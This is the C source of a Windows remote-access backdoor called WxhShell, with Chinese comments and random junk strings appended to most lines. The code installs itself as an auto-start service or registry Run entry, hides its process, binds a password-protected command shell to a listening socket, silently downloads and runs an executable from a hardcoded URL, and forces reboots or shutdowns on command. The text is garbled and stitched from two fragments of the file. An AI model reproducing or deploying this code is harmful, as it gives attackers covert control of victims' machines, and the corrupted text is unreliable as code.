    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $m#^0%  
    if(Boot(SHUTDOWN)) vVSDPlN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v=iiS}s  
    else { Lfi6b%/z  
    closesocket(wsh); iii|;v ]+  
    ExitThread(0); Z5(9=8hB/  
    } X-nC2[tu'W  
    break; mj$Ucql  
    } X uE: dL?  
  // 获取shell 1|4,jm$  
  case 's': { 3%5YUG@  
    CmdShell(wsh); (eU4{X7  
    closesocket(wsh); Ws|`E `6O  
    ExitThread(0); P #! N  
    break; gZ^Qt.6Z  
  } QPB,B>Z  
  // 退出 u#EcR}=]  
  case 'x': { XEA5A.uc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cQhr{W,Un  
    CloseIt(wsh); v]{UH {6  
    break; k*)sz  
    } YhV<.2^k  
  // 离开 }~+,x#  
  case 'q': { #at`7#K@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T 'c39  
    closesocket(wsh); 4zS0kk;+  
    WSACleanup(); =[]6NjKS,  
    exit(1); ciODTq?  
    break; 3E*m.jX  
        } $2h%IK>#G  
  } E>]K#H  
  } ]Ac}+?  
l~;>KjZg  
  // 提示信息 \t=0rFV)t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]87BP%G  
} :sg}e  
  } Dj96t5R  
HuTtp|zM>  
  return; LE<J<~2Z  
} 24#qg '  
L>~Tc  
// shell模块句柄 .+u b\  
int CmdShell(SOCKET sock) 7?R600OA  
{ JXJ+lZmsz  
STARTUPINFO si; u|t l@_  
ZeroMemory(&si,sizeof(si)); 8-x-?7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L_Gw:"-+Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z4SJxL  
PROCESS_INFORMATION ProcessInfo; op9dYjG7  
char cmdline[]="cmd"; b*?u+tWP_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?p@J7{a  
  return 0; `5@F'tKQ  
} uRko[W(  
1`7zYW&L  
// 自身启动模式 "QdK Md  
int StartFromService(void) To>,8E+GAb  
{ nte?a e  
typedef struct \PE;R.v_:  
{ HCN/|z1Xq  
  DWORD ExitStatus; 2.z-&lFBZ  
  DWORD PebBaseAddress; qMJJBl  
  DWORD AffinityMask; 6E}9uwQ  
  DWORD BasePriority; wv3,% lN  
  ULONG UniqueProcessId; QKj0~ia 5  
  ULONG InheritedFromUniqueProcessId; 6`CRT TJ7  
}   PROCESS_BASIC_INFORMATION; EWD^=VITL  
'3672wF/  
PROCNTQSIP NtQueryInformationProcess; Ldjz-  
S/5QK(XLC)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0h@FHw2d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z;S-Q,  
3>1^$0iq  
  HANDLE             hProcess; Y/.C+wW2  
  PROCESS_BASIC_INFORMATION pbi; *7Q6b 4~"  
EB*sd S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2; ^ME\  
  if(NULL == hInst ) return 0; Vbl-Ff  
Z#d#n!Lz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %)r ~GCd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r+FEgSDa]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gc|)4c  
mtv8Bm=<  
  if (!NtQueryInformationProcess) return 0; @[3c1B6K  
S\TXx79PhC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *vaYI3{qN  
  if(!hProcess) return 0; Kn~Rck| ]  
3^y(@XFt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z l r !   
k3#'g'>yh  
  CloseHandle(hProcess); 0ae8Xm3J@R  
Q>%n&;:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ /o'l:  
if(hProcess==NULL) return 0; q ;'f3Y  
|GnTRahV.  
HMODULE hMod; _!',%  +  
char procName[255]; YqX$a~  
unsigned long cbNeeded; 4 ThFC  
~w>h#{RB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Nt &+o  
K29/7A/  
  CloseHandle(hProcess); C27:ty V  
Xi&J%N'  
if(strstr(procName,"services")) return 1; // 以服务启动 W*C~Xba<  
I$7eiW @  
  return 0; // 注册表启动 +& r!%j7  
} OjUPvR2 0  
 `t U  
// 主模块 Z4VFfGCTL  
int StartWxhshell(LPSTR lpCmdLine) \~5|~|9<  
{ q7X]kr*qx  
  SOCKET wsl; OH\^j1x9I  
BOOL val=TRUE; Q7865  
  int port=0; 3xChik{  
  struct sockaddr_in door; =j,WQ66r3  
B?VTIq>  
  if(wscfg.ws_autoins) Install(); $,4h\>1WP  
*|A QV:  
port=atoi(lpCmdLine); ;/K2h_=3z  
zU?O)w1'  
if(port<=0) port=wscfg.ws_port; /}?7Eni  
2zTi/&K&  
  WSADATA data; <sH}X$/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !$Nj!  
#V!a<w4_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KrE 'M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ntW@Fm:bw>  
  door.sin_family = AF_INET; n"(!v7YNp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P=94  
  door.sin_port = htons(port); s\ -,RQ1  
.9jKD*U|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z]G|)16  
closesocket(wsl); (>v'0 RA  
return 1; \/NF??k,jk  
} M5^Y W#e  
1-_r\sb  
  if(listen(wsl,2) == INVALID_SOCKET) { \fA{sehdL  
closesocket(wsl); 5f-b>=02  
return 1; 3'4+3Xo  
} @tH9$J*Y<  
  Wxhshell(wsl); =hPXLCeC  
  WSACleanup(); 0xB2  
Qz~uD'Rs/  
return 0; i>F=XE  
3P cVE\GN  
} }|P3(*S  
@UD:zUT)F  
// 以NT服务方式启动 ~r--dU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |YJ83nSO~  
{ tEhg',2t(  
DWORD   status = 0; ,EB}IG ]  
  DWORD   specificError = 0xfffffff; z5>I9R^q;  
H71sxek3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wc3z7xK1@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HK@ij,px  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Bm%  
  serviceStatus.dwWin32ExitCode     = 0; [xMa^A>p  
  serviceStatus.dwServiceSpecificExitCode = 0; g*Y, .  
  serviceStatus.dwCheckPoint       = 0; y?$DDD  
  serviceStatus.dwWaitHint       = 0; 6Z2,:j;  
 7GgZ: $d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N^Re  
  if (hServiceStatusHandle==0) return; `AJ[g>py^|  
b^1QyX^?:  
status = GetLastError(); eVXXn)>  
  if (status!=NO_ERROR) F-yY(b]$  
{ ^#/FkEt7bp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I.<c{4K5  
    serviceStatus.dwCheckPoint       = 0; 2{OR#v~  
    serviceStatus.dwWaitHint       = 0; P6:C/B  
    serviceStatus.dwWin32ExitCode     = status; /).{h'^Hq\  
    serviceStatus.dwServiceSpecificExitCode = specificError; R?{+&r.X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y~SVD@  
    return; J +6zV m  
  } @A/k"Ax{r  
1vj/6L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  F!omkN  
  serviceStatus.dwCheckPoint       = 0; `9~ %6N?7#  
  serviceStatus.dwWaitHint       = 0; ,WT>"9+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Z!D?(  
} %q{q.(M#  
d1 j9{  
// 处理NT服务事件,比如:启动、停止 2QfN.<[-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ',+yD9 @  
{ BrV{X&>[i  
switch(fdwControl) Z~5) )5Ye;  
{ xUo6~9s7  
case SERVICE_CONTROL_STOP: k:@DK9 "^  
  serviceStatus.dwWin32ExitCode = 0; +a1x;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cm}2>eH  
  serviceStatus.dwCheckPoint   = 0; OmYVJt_  
  serviceStatus.dwWaitHint     = 0; V2MOD{Maat  
  { W'lqNOX[v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); * QgKo$IF  
  } n<I{x^!  
  return; rwm^{Qa  
case SERVICE_CONTROL_PAUSE: IPiV_c-l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sibYJKOy  
  break; ]-fkmnmWX  
case SERVICE_CONTROL_CONTINUE: g)D_  !iz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tK#R`AQ  
  break; \;LDE`Q_x  
case SERVICE_CONTROL_INTERROGATE: L4#pMc  
  break; 1yy?1&88S  
}; i|YS>Pw~j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wQkM:=t5  
} +.G"ool  
s{hKl0ds  
// 标准应用程序主函数 jlEz]@ i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ()3\(d5e  
{ 'rQ"Dc1D  
A'WR!*Yt  
// 获取操作系统版本 v3tJtb^'!  
OsIsNt=GetOsVer(); bOS)vt*V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % RSZ.  
<n"BPXF~  
  // 从命令行安装 Tb/TP3N  
  if(strpbrk(lpCmdLine,"iI")) Install(); M>8J_{r^  
I[ \~ pi,  
  // 下载执行文件 UM}u(;oo%)  
if(wscfg.ws_downexe) { eI #Gx_mg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) APQq F/  
  WinExec(wscfg.ws_filenam,SW_HIDE); =OVDJ0ozZ  
} 8)i""OD@I  
g?C;b>4  
if(!OsIsNt) { ; * [:~5Wc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~/ %Xm<  
HideProc(); s\ IKSoE  
StartWxhshell(lpCmdLine); *7BfK(9T  
} NW3 c_]`=  
else 4zug9kFK  
  if(StartFromService()) hlTbCl  
  // 以服务方式启动 2z.ot'  
  StartServiceCtrlDispatcher(DispatchTable); Hvl n>x@  
else Wboh2:TH:  
  // 普通方式启动 {pzj@b 1S  
  StartWxhshell(lpCmdLine); 0c_xPBbB+  
I`>U#x*  
return 0; v9$!v^U"D  
} ]BQYVx/  
r-2k<#^r  
{7o#Ve  
ab0 Sx  
=========================================== +/:tap|V  
C*9X;+S0J  
i;[y!U  
FhE{khc#  
1v o)]ff  
%x)b Z=An  
" +2tQ FV;  
==[,;g x  
#include <stdio.h> ,S)r%[ru^  
#include <string.h> L74Mz]v  
#include <windows.h> +SJ.BmT  
#include <winsock2.h> {K(mfTqm  
#include <winsvc.h> IG-\&  
#include <urlmon.h> 5pO|^G j1  
X1L@ G  
#pragma comment (lib, "Ws2_32.lib") K %^n.  
#pragma comment (lib, "urlmon.lib") BHXi g~d  
OWd'z1Yl  
#define MAX_USER   100 // 最大客户端连接数 L9x-90'q,  
#define BUF_SOCK   200 // sock buffer v gN!9  
#define KEY_BUFF   255 // 输入 buffer !>UlvT-  
{Gxe%gu6K  
#define REBOOT     0   // 重启 7  ,Rg~L  
#define SHUTDOWN   1   // 关机 t6+m` Kq  
)?n'ZhsX  
#define DEF_PORT   5000 // 监听端口 "Fz.# U  
"gM^o  
#define REG_LEN     16   // 注册表键长度 >rnVT K  
#define SVC_LEN     80   // NT服务名长度 U"oNJ8&%|  
|WS)KR !  
// 从dll定义API n*4`Tduu^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "LyD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  cby#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i`,FXF)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "S#F I  
^?z%f_ri  
// wxhshell配置信息 Tt;F-  
struct WSCFG { Zg;$vIhn  
  int ws_port;         // 监听端口 f60w%  
  char ws_passstr[REG_LEN]; // 口令 Iv`IJQH>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8:cbr/F<  
  char ws_regname[REG_LEN]; // 注册表键名 H= dIZ  
  char ws_svcname[REG_LEN]; // 服务名 ?^|`A}q#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4aayMS !#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hl*vS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cu"Cpt[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .UyE|t4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HL)!p8UHJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3"fDFR  
=8^+M1I  
}; )7q$PcY  
[B0 BHJ~  
// default Wxhshell configuration Bous d  
struct WSCFG wscfg={DEF_PORT, i1iP'`r  
    "xuhuanlingzhe", -@To<<`n  
    1, f%Q)_F[0D4  
    "Wxhshell", _ _Of0<  
    "Wxhshell", =KRM`_QShg  
            "WxhShell Service", TS<d?:  
    "Wrsky Windows CmdShell Service", /-=fWtA  
    "Please Input Your Password: ", lFBdiIw  
  1, A q i:h]x  
  "http://www.wrsky.com/wxhshell.exe", m 0HK1'  
  "Wxhshell.exe" .hTqZvDa  
    }; Q=~"xB8  
tjdPi a  
// 消息定义模块 \0$+*ejz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q PH=`s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A=|XlP$6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'o$j~Mr  
char *msg_ws_ext="\n\rExit."; {I#_0Q,i  
char *msg_ws_end="\n\rQuit."; J~~\0 u  
char *msg_ws_boot="\n\rReboot..."; b UG,~\Z  
char *msg_ws_poff="\n\rShutdown..."; 0RR|!zEu  
char *msg_ws_down="\n\rSave to "; m_NX[>&Y3  
8f@}-  
char *msg_ws_err="\n\rErr!"; .?>Cav9:  
char *msg_ws_ok="\n\rOK!"; ldv@C6+J  
L3&Ys3-h  
char ExeFile[MAX_PATH]; )XI[hVUA  
int nUser = 0; *dBy<dIy  
HANDLE handles[MAX_USER]; 3bEcKA_z(  
int OsIsNt; y]9R#\P/  
\i.]-k  
SERVICE_STATUS       serviceStatus; dab]>% M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]>3Y~KH(  
)|gw5N4;  
// 函数声明 6j E.X  
int Install(void); &OR(]Wt0  
int Uninstall(void); ;$p!dI\-Q  
int DownloadFile(char *sURL, SOCKET wsh); IUMv{2C  
int Boot(int flag); Pwh}hG1s a  
void HideProc(void); D:P(;  
int GetOsVer(void); Y2|i>5/|<  
int Wxhshell(SOCKET wsl); 9#8vPjXW}.  
void TalkWithClient(void *cs); )>a~%~:  
int CmdShell(SOCKET sock); RQ+,7Ir  
int StartFromService(void); !V|{(>+<  
int StartWxhshell(LPSTR lpCmdLine); }1a}pm2p  
["Zvwes#7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G|i0n   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~id6^#&>  
4,RPidv%O  
// 数据结构和表定义 E^8|xT'h6  
SERVICE_TABLE_ENTRY DispatchTable[] = xd Z$|{,  
{ l u=a e<M  
{wscfg.ws_svcname, NTServiceMain}, wMa8HeBE\  
{NULL, NULL} %ms%0%  
}; U-|]A\`)I  
ly0R'4j \  
// 自我安装 ;hj lRQ\  
int Install(void) F^Ut ZG+  
{ :e<jD_.X  
  char svExeFile[MAX_PATH]; MU<(O}  
  HKEY key; 6?Ncgj &@  
  strcpy(svExeFile,ExeFile); Om3Ayk}  
InPE_  
// 如果是win9x系统,修改注册表设为自启动 >?g@Nt8  
if(!OsIsNt) { !Tzo &G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &/@V$'G=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :!gNOR6Lh  
  RegCloseKey(key); CmEqo;Is  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'g#%>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ||+~8z#+,  
  RegCloseKey(key); 2mLZ4 r>WE  
  return 0; @K;b7@4y  
    } `}X3f#eO&  
  } 5F kdGF  
} W"\~O"a  
else { IjI'Hx  
!do`OEQKR  
// 如果是NT以上系统,安装为系统服务 KEAXDF&#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vCa8`m  
if (schSCManager!=0) 3%v)!dTa<^  
{ *l5?_tF  
  SC_HANDLE schService = CreateService #W\}v(Ke  
  ( Z\ hcK:  
  schSCManager, I}f`iBG  
  wscfg.ws_svcname, Gxr\a2Z&r%  
  wscfg.ws_svcdisp, I0XJ& P%  
  SERVICE_ALL_ACCESS, k 9i W1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :EX>Y<`]  
  SERVICE_AUTO_START, fWHvVyQ.  
  SERVICE_ERROR_NORMAL, 17hoX4T  
  svExeFile, ZTmy}@l  
  NULL, s'HsLe0|  
  NULL, @9/I^Zk  
  NULL, PV68d; $:8  
  NULL, .}faWzRH9  
  NULL x0j5D  
  ); P&`%VW3E  
  if (schService!=0) N'{[BA(eE  
  { RZ6y5  
  CloseServiceHandle(schService); x*OdMr\n8?  
  CloseServiceHandle(schSCManager); Eq-+g1a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <':h/ d  
  strcat(svExeFile,wscfg.ws_svcname); }`R,C~-|^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uq5?t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4`O[U#?  
  RegCloseKey(key); w>W#cTt  
  return 0; ?(ORk|)kU  
    } Zue3Z{31T  
  } OP/DWf  
  CloseServiceHandle(schSCManager); JFv70rBe  
} SxF'2ii  
} aH }/+Hu-  
$6Ma{rC|  
return 1; qbyYNlXqm  
} <4rnOQ:  
p)biOG  
// 自我卸载 {-A|f  
int Uninstall(void) $dM_uSt  
{ BN*:*cmUl  
  HKEY key; [f+wP|NKL  
K0w}l" )A  
if(!OsIsNt) { HZ3;2k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S:1[CNL;  
  RegDeleteValue(key,wscfg.ws_regname); CPB{eQeDuv  
  RegCloseKey(key); Es>' N3A z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 Bq_<3P_  
  RegDeleteValue(key,wscfg.ws_regname); 5CK+\MK  
  RegCloseKey(key); A f'&, 1=q  
  return 0; ~5 6&!4  
  } SZGR9/* ^  
} BX_yC=S  
} ns~]a:1yh  
else { ?%3dgQB'  
h@RpS8!Bi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ysm RY=3  
if (schSCManager!=0) fcq8aW/z_  
{ HK )m^!=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I\*6 >  
  if (schService!=0) 8 063LWV  
  { SkuR~!  
  if(DeleteService(schService)!=0) { JrcbJt  
  CloseServiceHandle(schService); b1Vr>:sK47  
  CloseServiceHandle(schSCManager); 4,y7a=qf3  
  return 0; f*%kHfaXgN  
  } !Yof%%m$;  
  CloseServiceHandle(schService); X>I3N?5  
  } U["0B8  
  CloseServiceHandle(schSCManager); r+#{\~r7T  
} x2v0cR"KL  
} N7?]eD  
)rEl{a  
return 1; Y` }X5(A@  
} @i#JlZM_  
B:h<iU:'D  
// 从指定url下载文件 |_?e.}K  
int DownloadFile(char *sURL, SOCKET wsh) HOx4FXPs  
{ oq7G=8gTp  
  HRESULT hr; C1 ^%!)  
char seps[]= "/"; a0NiVF-m%  
char *token; jG>W+lq  
char *file; Zn9tG:V  
char myURL[MAX_PATH]; 8-#kY}d.  
char myFILE[MAX_PATH]; 3ijPm<wn  
!hVbx#bXl  
strcpy(myURL,sURL); oC`F1!SfOO  
  token=strtok(myURL,seps); :M(uP e=D  
  while(token!=NULL) !.P||$x`&  
  { !E$$ FvL  
    file=token; n])#<0  
  token=strtok(NULL,seps); Wt/;iq"  
  } 2E }vuw=c  
z~Q=OPCnY  
GetCurrentDirectory(MAX_PATH,myFILE); xMr,\r'+  
strcat(myFILE, "\\"); 4Y(@ KUb  
strcat(myFILE, file); 1.14tS-}[4  
  send(wsh,myFILE,strlen(myFILE),0); w_{tS\  
send(wsh,"...",3,0); Qvp"gut)%X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s4bV0k  
  if(hr==S_OK) ` <1Wf  
return 0; i"&FW&W  
else <Y k i8  
return 1; 4Ly>x>b<  
vAX(3  
} Ki><~!L  
r w!jmvHE&  
// 系统电源模块 ZWkRoJXNi  
int Boot(int flag) ko9}?qs  
{ "{~5QO   
  HANDLE hToken; @1CXc"IgA  
  TOKEN_PRIVILEGES tkp; ? xR7Ii3  
^m z9sV  
  if(OsIsNt) { M v6 ^('  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); * zp tbZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d-b04Q7DQ  
    tkp.PrivilegeCount = 1; K/W=r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uHU@j(&c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s|p I`  
if(flag==REBOOT) { sZrVANyqb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %j tUbBN  
  return 0; w0!$ow.l  
} BwT[SI<Sg  
else { @HS*%N"*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *73gp  
  return 0; c'2/C5  
} l@);U%\pS  
  } ]s=|+tz\V  
  else { ;TL.QN/l  
if(flag==REBOOT) { `<9>X9.+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LGt>=|=bj  
  return 0; c`<2&ke  
} 3y)\dln  
else { 2j+w5KvU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C@XS  
  return 0; 9[/0  
} k|-\[Yl.  
} 6 \8d6x>  
(fpz",[  
return 1; HAn{^8"@  
} -+"#G?g  
B[Lm}B[  
// win9x进程隐藏模块 ]LB_ @#  
void HideProc(void) Z8E<^<|  
{ ~kZdep^]  
F CYGXtc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *?<N3Rr*  
  if ( hKernel != NULL ) x^K4&'</  
  { HJ&P[zV^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {VAih-y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _^E NRk@  
    FreeLibrary(hKernel); ,' k?rQ  
  } e)uC  
Dck/Ea  
return; aEN` `  
} %O`@}Tg  
/1 EAj  
// 获取操作系统版本 qA[lL(  
int GetOsVer(void) gBqDx|G  
{ ?L }>9$"  
  OSVERSIONINFO winfo;  rDFrreQP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]nsjYsT  
  GetVersionEx(&winfo); 5e7YM@ng  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XO]^+'U}p  
  return 1; AQZ<,TE0,  
  else bqbG+ g  
  return 0; ]q"&V\b  
} hF$`=hE,F~  
.{ v$;g  
// 客户端句柄模块 @JGmOwZ  
int Wxhshell(SOCKET wsl) +JErc)%  
{ =7V4{|ESfy  
  SOCKET wsh; SrKitSG  
  struct sockaddr_in client; uq3pk3 )W9  
  DWORD myID; #}#m\=0  
ob>)F^.iS  
  while(nUser<MAX_USER) eB~\~@  
{  u 8o!  
  int nSize=sizeof(client); OQumA j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eu5te0{G  
  if(wsh==INVALID_SOCKET) return 1; Aits<0  
h@`Rk   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O=A R`r#u  
if(handles[nUser]==0) g}%ODa !H  
  closesocket(wsh); H?"M&mF  
else Ovt]3`U9J  
  nUser++; {\5(aQ)Vi5  
  } [ K?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;^/ruf[t  
Rs=Fcvl  
  return 0; _&l8^MD  
} 2 `AdNt,  
+,spC`M6h  
// 关闭 socket =%|`gZ  
void CloseIt(SOCKET wsh) 2_pF#M9  
{ #czI nXTTx  
closesocket(wsh); jz f~n~  
nUser--; Vq3NjN!+5  
ExitThread(0); <.)=CK  
} c';~bYZ  
d~8U1}dP  
// 客户端请求句柄 =>'8<"M5z  
void TalkWithClient(void *cs) `sm Cfh}j6  
{ ]\yB,  
THwM',6  
  SOCKET wsh=(SOCKET)cs; v:SHaUS  
  char pwd[SVC_LEN]; cx:_5GF  
  char cmd[KEY_BUFF]; [h-6;.e  
char chr[1]; XKGiw 2 C  
int i,j; i6paNHi*  
[<=RsD_q~  
  while (nUser < MAX_USER) { :=Zd)i)3  
. Z&5TK4I  
if(wscfg.ws_passstr) { o'lG9ePM|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `p\%ha!,w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /D"T\KNWr  
  //ZeroMemory(pwd,KEY_BUFF); im*sSz 0 (  
      i=0; ~ n<|f  
  while(i<SVC_LEN) { "\*)KH`C  
hp)>Nzdx  
  // 设置超时 }#1.$a  
  fd_set FdRead;  Z`*V9  
  struct timeval TimeOut; $+PioSq  
  FD_ZERO(&FdRead); XtO..{qU  
  FD_SET(wsh,&FdRead); ftY&Q#[  
  TimeOut.tv_sec=8; #)S}z+I  
  TimeOut.tv_usec=0; b]]k\b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .!~ysy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mg\588cI  
#m|el@)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9,fV  
  pwd=chr[0]; Mzg'$]N  
  if(chr[0]==0xd || chr[0]==0xa) { S+06pj4Ie  
  pwd=0; |6d:k~p  
  break; HJr/N)d  
  } 6teu_FS  
  i++; Q3>qT84  
    } r^"o!,H9q  
EG\L]fmD  
  // 如果是非法用户,关闭 socket U>t:*SNC*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rv[BL.qV  
} O5du3[2x7a  
m LajiZ Bf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o2(w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R}Zaz3( Hd  
ANPG3^w  
while(1) { :G#%+,  
Y#lAG@$  
  ZeroMemory(cmd,KEY_BUFF); 8TYh&n=r  
eQQVfEvS  
      // 自动支持客户端 telnet标准   8GxT!  
  j=0; Oi?Q^ISxP  
  while(j<KEY_BUFF) { 3R/6/+S-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;7Qem&  
  cmd[j]=chr[0]; xF UD9TM  
  if(chr[0]==0xa || chr[0]==0xd) { u&p8S#e  
  cmd[j]=0; ^I/(9KP#  
  break; -rsS_[$2  
  } ^Whc<>|  
  j++; jEKa9rt  
    } 0(&uH0x  
5M\0t\uEn  
  // 下载文件 "^t7]=q  
  if(strstr(cmd,"http://")) { 4oF,;o+v\4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 36'J9h\  
  if(DownloadFile(cmd,wsh)) rKPsv*w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }c/#WA|b  
  else QPVr:+\B{  
